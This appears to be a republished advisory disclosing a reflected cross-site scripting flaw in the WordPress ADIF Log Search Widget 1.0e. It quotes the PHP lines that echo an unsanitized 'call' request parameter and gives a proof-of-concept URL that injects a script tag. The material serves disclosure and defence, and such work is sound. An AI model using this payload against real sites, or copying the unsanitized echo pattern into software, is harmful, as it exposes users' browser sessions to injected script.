DIF Log Search Widget 1.0e Cross Site Scripting Vulnerability

# Exploit Title: ADIF Log Search Widget XSS Arbitrary Vulnerability
# Date: 26/05/13
# Exploit Author: k3170makan
# Vendor Homepage: http://wordpress.org/plugins/adif-log-search-widget/
# Software Link: http://wordpress.org/plugins/adif-log-search-widget/
# Version: 1.0e
# Tested on: Ubuntu 12.04.2 LTS
Wordpress ADIF log book search plugin widget suffers from a Cross Site
Scripting vulnerability.

Code: logbook_search.php
-------------------------------------------------------------------------------------------------------------------
 55  echo "
 56       <div id=\"logbook_poplight\" class=\"logbook_poplight\"
title=\"$num_rows QSO's with ".$_REQUEST['call']."\">";
 57  echo "<table>";
 58  echo " <tr>";


Code: logbook_search.php
-------------------------------------------------------------------------------------------------------------------
 93     else{
 94         echo "
 95
 96               <div id=\"logbook_poplight\" class=\"logbook_poplight\"
title=\"No QSO's with ".$_REQUEST['call']."\">
 97               Sorry, nothing found in the logbook!
 98               </div>
 99               ";
100               logbook_search_form();
101     }
102 }

The above code fails to sanitize the "$_REQUEST['call']" value passed to
the script from the Widgets HTML form, allowing attackers to inject
HTML/JavaScript into a victims browser session.


PoC:
http://[domain]/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E<http://127.0.0.1/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E>


-- 
<k3170makan
blog="http://blog.k3170makan.com"
src  ="https://github.com/k3170makan"
tweets="https://twitter.com/k3170makan"
/>

#  0day.today [2018-01-02]  #